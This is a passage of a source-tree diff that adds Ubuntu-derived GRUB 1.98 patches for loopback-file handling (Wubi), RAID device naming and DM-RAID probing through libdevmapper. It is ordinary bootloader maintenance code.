+   /* Set has_partitions when `--partitions' was used.  */
+   newdev->has_partitions = state[1].set;
+ 
+@@ -141,6 +144,10 @@
+   loopback_list = newdev;
+ 
+   return 0;
++
++fail:
++  grub_file_close (file);
++  return grub_errno;
+ }
+ 
+ 
+@@ -159,7 +166,6 @@
+ static grub_err_t
+ grub_loopback_open (const char *name, grub_disk_t disk)
+ {
+-  grub_file_t file;
+   struct grub_loopback *dev;
+ 
+   for (dev = loopback_list; dev; dev = dev->next)
+@@ -169,29 +175,17 @@
+   if (! dev)
+     return grub_error (GRUB_ERR_UNKNOWN_DEVICE, "Can't open device");
+ 
+-  file = grub_file_open (dev->filename);
+-  if (! file)
+-    return grub_errno;
+-
+   /* Use the filesize for the disk size, round up to a complete sector.  */
+-  disk->total_sectors = ((file->size + GRUB_DISK_SECTOR_SIZE - 1)
++  disk->total_sectors = ((dev->file->size + GRUB_DISK_SECTOR_SIZE - 1)
+ 			 / GRUB_DISK_SECTOR_SIZE);
+   disk->id = (unsigned long) dev;
+ 
+   disk->has_partitions = dev->has_partitions;
+-  disk->data = file;
++  disk->data = dev->file;
+ 
+   return 0;
+ }
+ 
+-static void
+-grub_loopback_close (grub_disk_t disk)
+-{
+-  grub_file_t file = (grub_file_t) disk->data;
+-
+-  grub_file_close (file);
+-}
+-
+ static grub_err_t
+ grub_loopback_read (grub_disk_t disk, grub_disk_addr_t sector,
+ 		    grub_size_t size, char *buf)
+@@ -233,7 +227,6 @@
+     .id = GRUB_DISK_DEVICE_LOOPBACK_ID,
+     .iterate = grub_loopback_iterate,
+     .open = grub_loopback_open,
+-    .close = grub_loopback_close,
+     .read = grub_loopback_read,
+     .write = grub_loopback_write,
+     .next = 0
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/957_handle_loopback.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/957_handle_loopback.diff
new file mode 100644
index 00000000..0ee868fd
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/957_handle_loopback.diff
@@ -0,0 +1,45 @@
+Ubuntu: needed for Wubi
+Description: Change prepare_grub_to_access_device to handle filesystems
+ loop-mounted on file images.
+UbuntuSpecific: Not inherently. losetup and /proc/mounts are Linux-specific,
+ though, so we might need to refine this before sending it upstream.
+
+diff -Nur -x '*.orig' -x '*~' grub2-1.97~beta3/util/grub-mkconfig_lib.in grub2-1.97~beta3.new/util/grub-mkconfig_lib.in
+--- grub2-1.97~beta3/util/grub-mkconfig_lib.in	2009-09-15 00:23:50.000000000 +0100
++++ grub2-1.97~beta3.new/util/grub-mkconfig_lib.in	2009-09-15 00:31:31.000000000 +0100
+@@ -142,6 +142,20 @@
+ {
+   device=$1
+ 
++  loop_file=
++  case ${device} in
++    /dev/loop/*|/dev/loop[0-9])
++      loop_file=`losetup ${device} | sed -e "s/^[^(]*(\([^)]\+\)).*/\1/"`
++      case $loop_file in
++        /dev/*) ;;
++        *)
++          loop_device=${device}
++          device=`${grub_probe} --target=device "${loop_file}"`
++        ;;
++      esac
++    ;;
++  esac
++
+   # Abstraction modules aren't auto-loaded.
+   abstraction="`${grub_probe} --device ${device} --target=abstraction`"
+   for module in ${abstraction} ; do 
+@@ -159,6 +173,14 @@
+   if fs_uuid="`${grub_probe} --device ${device} --target=fs_uuid 2> /dev/null`" ; then
+     echo "search --no-floppy --fs-uuid --set ${fs_uuid}"
+   fi
++
++  if [ "x${loop_file}" != x ]; then
++    loop_mountpoint="$(awk '"'${loop_file}'" ~ "^"$2 && $2 != "/" { print $2 }' /proc/mounts | tail -n1)"
++    if [ "x${loop_mountpoint}" != x ]; then
++      echo "loopback loop0 ${loop_file#$loop_mountpoint}"
++      echo "set root=(loop0)"
++    fi
++  fi
+ }
+ 
+ grub_file_is_not_garbage ()
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/958_linux_no_loopmount.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/958_linux_no_loopmount.diff
new file mode 100644
index 00000000..9e0dfda9
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/958_linux_no_loopmount.diff
@@ -0,0 +1,20 @@
+Ubuntu: needed for Wubi
+Description: Ignore devices loop-mounted from files in 10_linux.
+UbuntuSpecific: Not inherently, but perhaps we should integrate 10_lupin
+ properly instead.
+
+diff -Nur -x '*.orig' -x '*~' grub2-1.97~beta3/util/grub.d/10_linux.in grub2-1.97~beta3.new/util/grub.d/10_linux.in
+--- grub2-1.97~beta3/util/grub.d/10_linux.in	2009-09-16 17:41:06.000000000 +0100
++++ grub2-1.97~beta3.new/util/grub.d/10_linux.in	2009-09-16 17:44:52.000000000 +0100
+@@ -32,6 +32,11 @@
+ case ${GRUB_DEVICE} in
+   /dev/loop/*|/dev/loop[0-9])
+     GRUB_DEVICE=`losetup ${GRUB_DEVICE} | sed -e "s/^[^(]*(\([^)]\+\)).*/\1/"`
++    # We can't cope with devices loop-mounted from files here.
++    case ${GRUB_DEVICE} in
++      /dev/*) ;;
++      *) exit 0 ;;
++    esac
+   ;;
+ esac
+ 
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/960_raid_virtio.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/960_raid_virtio.diff
new file mode 100644
index 00000000..3b060ba0
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/960_raid_virtio.diff
@@ -0,0 +1,158 @@
+diff -Nur -x '*.orig' -x '*~' grub2/include/grub/util/getroot.h grub2.new/include/grub/util/getroot.h
+--- grub2/include/grub/util/getroot.h	2009-11-29 18:42:14.000000000 -0800
++++ grub2.new/include/grub/util/getroot.h	2010-02-03 14:38:02.000000000 -0800
+@@ -19,12 +19,15 @@
+ #ifndef GRUB_UTIL_GETROOT_HEADER
+ #define GRUB_UTIL_GETROOT_HEADER	1
+ 
++#include <sys/types.h>
++
+ enum grub_dev_abstraction_types {
+   GRUB_DEV_ABSTRACTION_NONE,
+   GRUB_DEV_ABSTRACTION_LVM,
+   GRUB_DEV_ABSTRACTION_RAID,
+ };
+ 
++char *grub_find_device (const char *dir, dev_t dev);
+ char *grub_guess_root_device (const char *dir);
+ char *grub_get_prefix (const char *dir);
+ int grub_util_get_dev_abstraction (const char *os_dev);
+diff -Nur -x '*.orig' -x '*~' grub2/util/getroot.c grub2.new/util/getroot.c
+--- grub2/util/getroot.c	2010-02-01 14:33:16.000000000 -0800
++++ grub2.new/util/getroot.c	2010-02-03 14:38:02.000000000 -0800
+@@ -178,8 +178,8 @@
+ 
+ #ifdef __MINGW32__
+ 
+-static char *
+-find_root_device (const char *dir __attribute__ ((unused)),
++char *
++grub_find_device (const char *dir __attribute__ ((unused)),
+                   dev_t dev __attribute__ ((unused)))
+ {
+   return 0;
+@@ -187,13 +187,22 @@
+ 
+ #elif ! defined(__CYGWIN__)
+ 
+-static char *
+-find_root_device (const char *dir, dev_t dev)
++char *
++grub_find_device (const char *dir, dev_t dev)
+ {
+   DIR *dp;
+   char *saved_cwd;
+   struct dirent *ent;
+ 
++  if (! dir)
++    {
++#ifdef __CYGWIN__
++      return NULL;
++#else
++      dir = "/dev";
++#endif
++    }
++
+   dp = opendir (dir);
+   if (! dp)
+     return 0;
+@@ -231,7 +240,7 @@
+ 	  /* Find it recursively.  */
+ 	  char *res;
+ 
+-	  res = find_root_device (ent->d_name, dev);
++	  res = grub_find_device (ent->d_name, dev);
+ 
+ 	  if (res)
+ 	    {
+@@ -334,8 +343,8 @@
+   return serial;
+ }
+ 
+-static char *
+-find_cygwin_root_device (const char *path, dev_t dev)
++char *
++grub_find_device (const char *path, dev_t dev)
+ {
+   /* No root device for /cygdrive.  */
+   if (dev == (DEV_CYGDRIVE_MAJOR << 16))
+@@ -356,7 +365,7 @@
+ 
+   /* Cygwin returns the partition serial number in stat.st_dev.
+      This is never identical to the device number of the emulated
+-     /dev/sdXN device, so above find_root_device () does not work.
++     /dev/sdXN device, so above grub_find_device () does not work.
+      Search the partition with the same serial in boot sector instead.  */
+   char devpath[sizeof ("/dev/sda15") + 13]; /* Size + Paranoia.  */
+   int d;
+@@ -449,12 +458,12 @@
+ 
+ #ifdef __CYGWIN__
+   /* Cygwin specific function.  */
+-  os_dev = find_cygwin_root_device (dir, st.st_dev);
++  os_dev = grub_find_device (dir, st.st_dev);
+ 
+ #else
+ 
+   /* This might be truly slow, but is there any better way?  */
+-  os_dev = find_root_device ("/dev", st.st_dev);
++  os_dev = grub_find_device ("/dev", st.st_dev);
+ #endif
+ #endif /* !__GNU__ */
+ 
+diff -Nur -x '*.orig' -x '*~' grub2/util/raid.c grub2.new/util/raid.c
+--- grub2/util/raid.c	2010-02-01 14:33:15.000000000 -0800
++++ grub2.new/util/raid.c	2010-02-03 14:39:38.000000000 -0800
+@@ -21,40 +21,19 @@
+ #ifdef __linux__
+ #include <grub/util/misc.h>
+ #include <grub/util/raid.h>
++#include <grub/util/getroot.h>
+ 
+ #include <string.h>
+ #include <fcntl.h>
+ #include <sys/ioctl.h>
+ #include <errno.h>
++#include <sys/types.h>
+ 
+ #include <linux/types.h>
+ #include <linux/major.h>
+ #include <linux/raid/md_p.h>
+ #include <linux/raid/md_u.h>
+ 
+-static char *
+-grub_util_getdiskname (int major, int minor)
+-{
+-  char *name = xmalloc (15);
+-
+-  if (major == LOOP_MAJOR)
+-    sprintf (name, "/dev/loop%d", minor);
+-  else if (major == IDE0_MAJOR)
+-    sprintf (name, "/dev/hd%c", 'a' + minor / 64);
+-  else if (major == IDE1_MAJOR)
+-    sprintf (name, "/dev/hd%c", 'c' + minor / 64);
+-  else if (major == IDE2_MAJOR)
+-    sprintf (name, "/dev/hd%c", 'e' + minor / 64);
+-  else if (major == IDE3_MAJOR)
+-    sprintf (name, "/dev/hd%c", 'g' + minor / 64);
+-  else if (major == SCSI_DISK0_MAJOR)
+-    sprintf (name, "/dev/sd%c", 'a' + minor / 16);
+-  else
+-    grub_util_error ("unknown device number: %d, %d", major, minor);
+-
+-  return name;
+-}
+-
+ char **
+ grub_util_raid_getmembers (char *name)
+ {
+@@ -99,7 +78,8 @@
+ 
+       if (disk.state & (1 << MD_DISK_ACTIVE))
+ 	{
+-	  devicelist[j] = grub_util_getdiskname (disk.major, disk.minor);
++	  devicelist[j] = grub_find_device (NULL,
++					    makedev (disk.major, disk.minor));
+ 	  j++;
+ 	}
+     }
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/961_dmraid_probe.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/961_dmraid_probe.diff
new file mode 100644
index 00000000..8bc94707
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/961_dmraid_probe.diff
@@ -0,0 +1,650 @@
+Description: Add DM-RAID probing support.
+Upstream: Maintained in an upstream branch,
+ sftp://bzr.sv.gnu.org/srv/bzr/grub/branches/dmraid-probe/; see
+ http://lists.gnu.org/archive/html/grub-devel/2010-01/msg00345.html
+
+diff -Nur -x '*.orig' -x '*~' grub2/ChangeLog.dmraid-probe grub2.new/ChangeLog.dmraid-probe
+--- grub2/ChangeLog.dmraid-probe	1969-12-31 16:00:00.000000000 -0800
++++ grub2.new/ChangeLog.dmraid-probe	2010-02-06 10:33:54.000000000 -0800
+@@ -0,0 +1,26 @@
++2010-01-31  Colin Watson  <cjwatson@ubuntu.com>
++
++	* configure.ac: Check for Linux device-mapper support.
++
++	* util/hostdisk.c (device_is_mapped): New function.
++	(find_partition_start): New function, partly broken out from
++	linux_find_partition and grub_util_biosdisk_get_grub_dev but with
++	device-mapper support added.
++	(linux_find_partition): Use find_partition_start.
++	(convert_system_partition_to_system_disk): Add `st' argument.
++	Support Linux /dev/mapper/* devices if device-mapper support is
++	available; only DM-RAID devices are understood at present.
++	(find_system_device): Add `st' argument.  Pass it to
++	convert_system_partition_to_system_disk.
++	(grub_util_biosdisk_get_grub_dev): Pass stat result to
++	find_system_device and convert_system_partition_to_system_disk.  Use
++	find_partition_start.
++
++	* conf/common.rmk (grub_mkdevicemap_SOURCES): Add kern/env.c,
++	kern/err.c, kern/list.c, and kern/misc.c.
++	* util/deviceiter.c [__linux__]: Define MINOR.
++	(grub_util_iterate_devices): Add support for DM-RAID disk devices.
++	* util/mkdevicemap.c (grub_putchar): New function.
++	(grub_getkey): New function.
++	(grub_refresh): New function.
++	(main): Set debug=all if -v -v is used.
+diff -Nur -x '*.orig' -x '*~' grub2/conf/common.rmk grub2.new/conf/common.rmk
+--- grub2/conf/common.rmk	2010-02-06 10:32:37.000000000 -0800
++++ grub2.new/conf/common.rmk	2010-02-06 10:33:54.000000000 -0800
+@@ -3,7 +3,8 @@
+ sbin_UTILITIES += grub-mkdevicemap
+ grub_mkdevicemap_SOURCES = gnulib/progname.c util/grub-mkdevicemap.c \
+ 	util/deviceiter.c \
+-	util/misc.c
++	util/misc.c \
++	kern/env.c kern/err.c kern/list.c kern/misc.c
+ 
+ ifeq ($(target_cpu)-$(platform), sparc64-ieee1275)
+ grub_mkdevicemap_SOURCES += util/ieee1275/ofpath.c util/ieee1275/devicemap.c
+diff -Nur -x '*.orig' -x '*~' grub2/configure.ac grub2.new/configure.ac
+--- grub2/configure.ac	2010-02-06 10:32:49.000000000 -0800
++++ grub2.new/configure.ac	2010-02-06 10:33:54.000000000 -0800
+@@ -660,6 +660,22 @@
+ AC_SUBST([freetype_cflags])
+ AC_SUBST([freetype_libs])
+ 
++AC_ARG_ENABLE([device-mapper],
++              [AS_HELP_STRING([--enable-device-mapper],
++                              [enable Linux device-mapper support (default=guessed)])])
++if test x"$enable_device_mapper" = xno ; then
++  device_mapper_excuse="explicitly disabled"
++fi
++
++if test x"$device_mapper_excuse" = x ; then
++  # Check for device-mapper library.
++  AC_CHECK_LIB([devmapper], [dm_task_create],
++               [LDFLAGS="$LDFLAGS -ldevmapper"
++                AC_DEFINE([HAVE_DEVICE_MAPPER], [1],
++                          [Define to 1 if you have the devmapper library.])],
++               [device_mapper_excuse="need devmapper library"])
++fi
++
+ AC_SUBST(ASFLAGS)
+ 
+ # Output files.
+diff -Nur -x '*.orig' -x '*~' grub2/util/deviceiter.c grub2.new/util/deviceiter.c
+--- grub2/util/deviceiter.c	2010-02-06 10:32:37.000000000 -0800
++++ grub2.new/util/deviceiter.c	2010-02-06 10:33:54.000000000 -0800
+@@ -31,6 +31,8 @@
+ 
+ #include <grub/util/misc.h>
+ #include <grub/util/deviceiter.h>
++#include <grub/list.h>
++#include <grub/misc.h>
+ 
+ #ifdef __linux__
+ # if !defined(__GLIBC__) || \
+@@ -62,12 +64,23 @@
+                  | ((unsigned int) (__dev >> 32) & ~0xfff); \
+   })
+ # endif /* ! MAJOR */
++# ifndef MINOR
++#  define MINOR(dev)	\
++  ({ \
++     unsigned long long __dev = (dev); \
++     (unsigned) (__dev & 0xff) | ((unsigned int) (__dev >> 12) & ~0xff); \
++  })
++# endif /* ! MINOR */
+ # ifndef CDROM_GET_CAPABILITY
+ #  define CDROM_GET_CAPABILITY	0x5331	/* get capabilities */
+ # endif /* ! CDROM_GET_CAPABILITY */
+ # ifndef BLKGETSIZE
+ #  define BLKGETSIZE	_IO(0x12,96)	/* return device size */
+ # endif /* ! BLKGETSIZE */
++
++#ifdef HAVE_DEVICE_MAPPER
++# include <libdevmapper.h>
++#endif
+ #endif /* __linux__ */
+ 
+ /* Use __FreeBSD_kernel__ instead of __FreeBSD__ for compatibility with
+@@ -411,6 +424,16 @@
+   return 1;
+ }
+ 
++#ifdef __linux__
++# ifdef HAVE_DEVICE_MAPPER
++struct dmraid_seen
++{
++  struct dmraid_seen *next;
++  const char *name;
++};
++# endif /* HAVE_DEVICE_MAPPER */
++#endif /* __linux__ */
++
+ void
+ grub_util_iterate_devices (int NESTED_FUNC_ATTR (*hook) (const char *, int),
+ 			   int floppy_disks)
+@@ -643,6 +666,123 @@
+ 	    return;
+ 	}
+     }
++
++# ifdef HAVE_DEVICE_MAPPER
++#  define dmraid_check(cond, ...) \
++  if (! (cond)) \
++    { \
++      grub_dprintf ("deviceiter", __VA_ARGS__); \
++      goto dmraid_end; \
++    }
++
++  /* DM-RAID.  */
++  {
++    struct dm_tree *tree = NULL;
++    struct dm_task *task = NULL;
++    struct dm_names *names = NULL;
++    unsigned int next = 0;
++    void *top_handle, *second_handle;
++    struct dm_tree_node *root, *top, *second;
++    struct dmraid_seen *seen = NULL;
++
++    /* Build DM tree for all devices.  */
++    tree = dm_tree_create ();
++    dmraid_check (tree, "dm_tree_create failed\n");
++    task = dm_task_create (DM_DEVICE_LIST);
++    dmraid_check (task, "dm_task_create failed\n");
++    dmraid_check (dm_task_run (task), "dm_task_run failed\n");
++    names = dm_task_get_names (task);
++    dmraid_check (names, "dm_task_get_names failed\n");
++    dmraid_check (names->dev, "No DM devices found\n");
++    do
++      {
++	names = (void *) names + next;
++	dmraid_check (dm_tree_add_dev (tree, MAJOR (names->dev),
++				       MINOR (names->dev)),
++			 "dm_tree_add_dev (%s) failed\n", names->name);
++	next = names->next;
++      }
++    while (next);
++
++    /* Walk the second-level children of the inverted tree; that is, devices
++       which are directly composed of non-DM devices such as hard disks.
++       This class includes all DM-RAID disks and excludes all DM-RAID
++       partitions.  */
++    root = dm_tree_find_node (tree, 0, 0);
++    top_handle = NULL;
++    top = dm_tree_next_child (&top_handle, root, 1);
++    while (top)
++      {
++	second_handle = NULL;
++	second = dm_tree_next_child (&second_handle, top, 1);
++	while (second)
++	  {
++	    const char *node_name, *node_uuid;
++	    char *name;
++	    struct dmraid_seen *seen_elt;
++
++	    node_name = dm_tree_node_get_name (second);
++	    dmraid_check (node_name, "dm_tree_node_get_name failed\n");
++	    node_uuid = dm_tree_node_get_uuid (second);
++	    dmraid_check (node_uuid, "dm_tree_node_get_uuid failed\n");
++	    if (strncmp (node_uuid, "DMRAID-", 7) != 0)
++	      {
++		grub_dprintf ("deviceiter", "%s is not DM-RAID\n", node_name);
++		goto dmraid_next_child;
++	      }
++
++	    /* Have we already seen this node?  There are typically very few
++	       DM-RAID disks, so a list should be fast enough.  */
++	    if (grub_named_list_find (GRUB_AS_NAMED_LIST (seen), node_name))
++	      {
++		grub_dprintf ("deviceiter", "Already seen DM device %s\n",
++			      node_name);
++		goto dmraid_next_child;
++	      }
++
++	    name = xasprintf ("/dev/mapper/%s", node_name);
++	    if (check_device (name))
++	      {
++		if (hook (name, 0))
++		  {
++		    free (name);
++		    while (seen)
++		      {
++			struct dmraid_seen *seen_elt =
++			  grub_list_pop (GRUB_AS_LIST_P (&seen));
++			free (seen_elt);
++		      }
++		    if (task)
++		      dm_task_destroy (task);
++		    if (tree)
++		      dm_tree_free (tree);
++		    return;
++		  }
++	      }
++	    free (name);
++
++	    seen_elt = xmalloc (sizeof *seen_elt);
++	    seen_elt->name = node_name;
++	    grub_list_push (GRUB_AS_LIST_P (&seen), GRUB_AS_LIST (seen_elt));
++
++dmraid_next_child:
++	    second = dm_tree_next_child (&second_handle, top, 1);
++	  }
++	top = dm_tree_next_child (&top_handle, root, 1);
++      }
++
++dmraid_end:
++    while (seen)
++      {
++	struct dmraid_seen *seen_elt = grub_list_pop (GRUB_AS_LIST_P (&seen));
++	free (seen_elt);
++      }
++    if (task)
++      dm_task_destroy (task);
++    if (tree)
++      dm_tree_free (tree);
++  }
++# endif /* HAVE_DEVICE_MAPPER */
+ #endif /* __linux__ */
+ }
+ 
+diff -Nur -x '*.orig' -x '*~' grub2/util/grub-mkdevicemap.c grub2.new/util/grub-mkdevicemap.c
+--- grub2/util/grub-mkdevicemap.c	2010-02-06 10:32:37.000000000 -0800
++++ grub2.new/util/grub-mkdevicemap.c	2010-02-06 10:33:54.000000000 -0800
+@@ -31,6 +31,7 @@
+ 
+ #include <grub/util/misc.h>
+ #include <grub/util/deviceiter.h>
++#include <grub/env.h>
+ #include <grub/i18n.h>
+ 
+ #define _GNU_SOURCE	1
+@@ -38,6 +39,24 @@
+ 
+ #include "progname.h"
+ 
++void
++grub_putchar (int c)
++{
++  putchar (c);
++}
++
++int
++grub_getkey (void)
++{
++  return -1;
++}
++
++void
++grub_refresh (void)
++{
++  fflush (stdout);
++}
++
+ static void
+ make_device_map (const char *device_map, int floppy_disks)
+ {
+@@ -158,6 +177,9 @@
+ 	  }
+     }
+ 
++  if (verbosity > 1)
++    grub_env_set ("debug", "all");
++
+   make_device_map (dev_map ? : DEFAULT_DEVICE_MAP, floppy_disks);
+ 
+   free (dev_map);
+diff -Nur -x '*.orig' -x '*~' grub2/util/hostdisk.c grub2.new/util/hostdisk.c
+--- grub2/util/hostdisk.c	2010-02-06 10:32:55.000000000 -0800
++++ grub2.new/util/hostdisk.c	2010-02-06 10:33:54.000000000 -0800
+@@ -97,6 +97,10 @@
+ # include <sys/disk.h>
+ #endif
+ 
++#ifdef HAVE_DEVICE_MAPPER
++# include <libdevmapper.h>
++#endif
++
+ struct
+ {
+   char *drive;
+@@ -253,6 +257,115 @@
+   return GRUB_ERR_NONE;
+ }
+ 
++#ifdef HAVE_DEVICE_MAPPER
++static int
++device_is_mapped (const char *dev)
++{
++  struct stat st;
++
++  if (stat (dev, &st) < 0)
++    return 0;
++
++  return dm_is_dm_major (major (st.st_rdev));
++}
++#endif /* HAVE_DEVICE_MAPPER */
++
++#if defined(__linux__) || defined(__CYGWIN__)
++static grub_disk_addr_t
++find_partition_start (const char *dev)
++{
++  int fd;
++  struct hd_geometry hdg;
++
++#ifdef HAVE_DEVICE_MAPPER
++  if (device_is_mapped (dev)) {
++    struct dm_task *task = NULL;
++    grub_uint64_t start, length;
++    char *target_type, *params, *space;
++    grub_disk_addr_t partition_start;
++
++    /* If any device-mapper operation fails, we fall back silently to
++       HDIO_GETGEO.  */
++    task = dm_task_create (DM_DEVICE_TABLE);
++    if (! task)
++      {
++	grub_dprintf ("hostdisk", "dm_task_create failed\n");
++	goto devmapper_fail;
++      }
++
++    if (! dm_task_set_name (task, dev))
++      {
++	grub_dprintf ("hostdisk", "dm_task_set_name failed\n");
++	goto devmapper_fail;
++      }
++
++    if (! dm_task_run (task))
++      {
++	grub_dprintf ("hostdisk", "dm_task_run failed\n");
++	goto devmapper_fail;
++      }
++
++    dm_get_next_target (task, NULL, &start, &length, &target_type, &params);
++    if (! target_type)
++      {
++	grub_dprintf ("hostdisk", "no dm target\n");
++	goto devmapper_fail;
++      }
++    if (strcmp (target_type, "linear") != 0)
++      {
++	grub_dprintf ("hostdisk", "ignoring dm target %s (not linear)\n",
++		      target_type);
++	goto devmapper_fail;
++      }
++    if (! params)
++      {
++	grub_dprintf ("hostdisk", "no dm params\n");
++	goto devmapper_fail;
++      }
++
++    /* The params string for a linear target looks like this:
++         DEVICE-NAME START-SECTOR
++       Parse this out.  */
++    space = strchr (params, ' ');
++    if (! space)
++      goto devmapper_fail;
++    errno = 0;
++    partition_start = strtoull (space + 1, NULL, 10);
++    if (errno == 0)
++      {
++	grub_dprintf ("hostdisk", "dm %s starts at %llu\n",
++		      dev, partition_start);
++	dm_task_destroy (task);
++	return partition_start;
++      }
++
++devmapper_fail:
++    if (task)
++      dm_task_destroy (task);
++  }
++#endif /* HAVE_DEVICE_MAPPER */
++
++  fd = open (dev, O_RDONLY);
++  if (fd == -1)
++    {
++      grub_error (GRUB_ERR_BAD_DEVICE, "cannot open `%s' while attempting to get disk geometry", dev);
++      return 0;
++    }
++
++  if (ioctl (fd, HDIO_GETGEO, &hdg))
++    {
++      grub_error (GRUB_ERR_BAD_DEVICE,
++		  "cannot get geometry of `%s'", dev);
++      close (fd);
++      return 0;
++    }
++
++  close (fd);
++
++  return hdg.start;
++}
++#endif /* __linux__ || __CYGWIN__ */
++
+ #ifdef __linux__
+ static int
+ linux_find_partition (char *dev, unsigned long sector)
+@@ -284,22 +397,20 @@
+   for (i = 1; i < 10000; i++)
+     {
+       int fd;
+-      struct hd_geometry hdg;
++      grub_disk_addr_t start;
+ 
+       sprintf (p, format, i);
++
+       fd = open (real_dev, O_RDONLY);
+       if (fd == -1)
+ 	return 0;
+-
+-      if (ioctl (fd, HDIO_GETGEO, &hdg))
+-	{
+-	  close (fd);
+-	  return 0;
+-	}
+-
+       close (fd);
+ 
+-      if (hdg.start == sector)
++      start = find_partition_start (real_dev);
++      /* We don't care about errors here.  */
++      grub_errno = GRUB_ERR_NONE;
++
++      if (start == sector)
+ 	{
+ 	  strcpy (dev, real_dev);
+ 	  return 1;
+@@ -711,7 +822,7 @@
+ }
+ 
+ static char *
+-convert_system_partition_to_system_disk (const char *os_dev)
++convert_system_partition_to_system_disk (const char *os_dev, struct stat *st)
+ {
+ #if defined(__linux__)
+   char *path = xmalloc (PATH_MAX);
+@@ -829,6 +940,96 @@
+ 	  p[4] = '\0';
+ 	  return path;
+ 	}
++
++#ifdef HAVE_DEVICE_MAPPER
++      /* If this is a DM-RAID device.  */
++      if ((strncmp ("mapper/", p, 7) == 0))
++	{
++	  static struct dm_tree *tree = NULL;
++	  uint32_t maj, min;
++	  struct dm_tree_node *node, *child;
++	  void *handle;
++	  const char *node_uuid, *mapper_name, *child_uuid, *child_name;
++
++	  if (! tree)
++	    tree = dm_tree_create ();
++
++	  if (! tree)
++	    {
++	      grub_dprintf ("hostdisk", "dm_tree_create failed\n");
++	      return NULL;
++	    }
++
++	  maj = major (st->st_rdev);
++	  min = minor (st->st_rdev);
++	  if (! dm_tree_add_dev (tree, maj, min))
++	    {
++	      grub_dprintf ("hostdisk", "dm_tree_add_dev failed\n");
++	      return NULL;
++	    }
++
++	  node = dm_tree_find_node (tree, maj, min);
++	  if (! node)
++	    {
++	      grub_dprintf ("hostdisk", "dm_tree_find_node failed\n");
++	      return NULL;
++	    }
++	  node_uuid = dm_tree_node_get_uuid (node);
++	  if (! node_uuid)
++	    {
++	      grub_dprintf ("hostdisk", "%s has no DM uuid\n", path);
++	      return NULL;
++	    }
++	  else if (strncmp (node_uuid, "DMRAID-", 7) != 0)
++	    {
++	      grub_dprintf ("hostdisk", "%s is not DM-RAID\n", path);
++	      return NULL;
++	    }
++
++	  handle = NULL;
++	  mapper_name = NULL;
++	  /* Counter-intuitively, device-mapper refers to the disk-like
++	     device containing a DM-RAID partition device as a "child" of
++	     the partition device.  */
++	  child = dm_tree_next_child (&handle, node, 0);
++	  if (! child)
++	    {
++	      grub_dprintf ("hostdisk", "%s has no DM children\n", path);
++	      goto devmapper_out;
++	    }
++	  child_uuid = dm_tree_node_get_uuid (child);
++	  if (! child_uuid)
++	    {
++	      grub_dprintf ("hostdisk", "%s child has no DM uuid\n", path);
++	      goto devmapper_out;
++	    }
++	  else if (strncmp (child_uuid, "DMRAID-", 7) != 0)
++	    {
++	      grub_dprintf ("hostdisk", "%s child is not DM-RAID\n", path);
++	      goto devmapper_out;
++	    }
++	  child_name = dm_tree_node_get_name (child);
++	  if (! child_name)
++	    {
++	      grub_dprintf ("hostdisk", "%s child has no DM name\n", path);
++	      goto devmapper_out;
++	    }
++	  mapper_name = child_name;
++
++devmapper_out:
++	  if (! mapper_name)
++	    {
++	      /* This is a DM-RAID disk, not a partition.  */
++	      mapper_name = dm_tree_node_get_name (node);
++	      if (! mapper_name)
++		{
++		  grub_dprintf ("hostdisk", "%s has no DM name\n", path);
++		  return NULL;
++		}
++	    }
++	  return xasprintf ("/dev/mapper/%s", mapper_name);
++	}
++#endif /* HAVE_DEVICE_MAPPER */
+     }
+ 
+   return path;
+@@ -884,12 +1085,12 @@
+ #endif
+ 
+ static int
+-find_system_device (const char *os_dev)
++find_system_device (const char *os_dev, struct stat *st)
+ {
+   unsigned int i;
+   char *os_disk;
+ 
+-  os_disk = convert_system_partition_to_system_disk (os_dev);
++  os_disk = convert_system_partition_to_system_disk (os_dev, st);
+   if (! os_disk)
+     return -1;
+ 
+@@ -923,7 +1124,7 @@
+       return 0;
+     }
+ 
+-  drive = find_system_device (os_dev);
++  drive = find_system_device (os_dev, &st);
+   if (drive < 0)
+     {
+       grub_error (GRUB_ERR_BAD_DEVICE,
+@@ -931,8 +1132,8 @@
+       return 0;
+     }
+ 
+-  if (grub_strcmp (os_dev, convert_system_partition_to_system_disk (os_dev))
+-      == 0)
++  if (grub_strcmp (os_dev,
++		   convert_system_partition_to_system_disk (os_dev, &st)) == 0)
+     return make_device_name (drive, -1, -1);
+ 
+ #if defined(__FreeBSD__) || defined(__FreeBSD_kernel__) || defined(__APPLE__)
+@@ -954,8 +1155,7 @@
+   {
+     char *name;
+     grub_disk_t disk;
+-    int fd;
+-    struct hd_geometry hdg;
++    grub_disk_addr_t start;
+     int dos_part = -1;
+     int bsd_part = -1;
+     auto int find_partition (grub_disk_t disk,
+@@ -985,7 +1185,7 @@
+ 			      partition->index, partition->start);
+ 	  }
+ 
+-	if (hdg.start == partition->start)
++	if (start == partition->start)
+ 	  {
+ 	    if (pcdata)
+ 	      {
+@@ -1008,28 +1208,16 @@
+     if (MAJOR (st.st_rdev) == FLOPPY_MAJOR)
+       return name;
+ 
+-    fd = open (os_dev, O_RDONLY);
+-    if (fd == -1)
+-      {
+-	grub_error (GRUB_ERR_BAD_DEVICE, "cannot open `%s' while attempting to get disk geometry", os_dev);
+-	free (name);
+-	return 0;
+-      }
+-
+-    if (ioctl (fd, HDIO_GETGEO, &hdg))
++    start = find_partition_start (os_dev);
++    if (grub_errno != GRUB_ERR_NONE)
+       {
+-	grub_error (GRUB_ERR_BAD_DEVICE,
+-		    "cannot get geometry of `%s'", os_dev);
+-	close (fd);
+ 	free (name);
+ 	return 0;
+       }
+ 
+-    close (fd);
+-
+-    grub_util_info ("%s starts from %lu", os_dev, hdg.start);
++    grub_util_info ("%s starts from %lu", os_dev, start);
+ 
+-    if (hdg.start == 0 && device_is_wholedisk (os_dev))
++    if (start == 0 && device_is_wholedisk (os_dev))
+       return name;
+ 
+     grub_util_info ("opening the device %s", name);
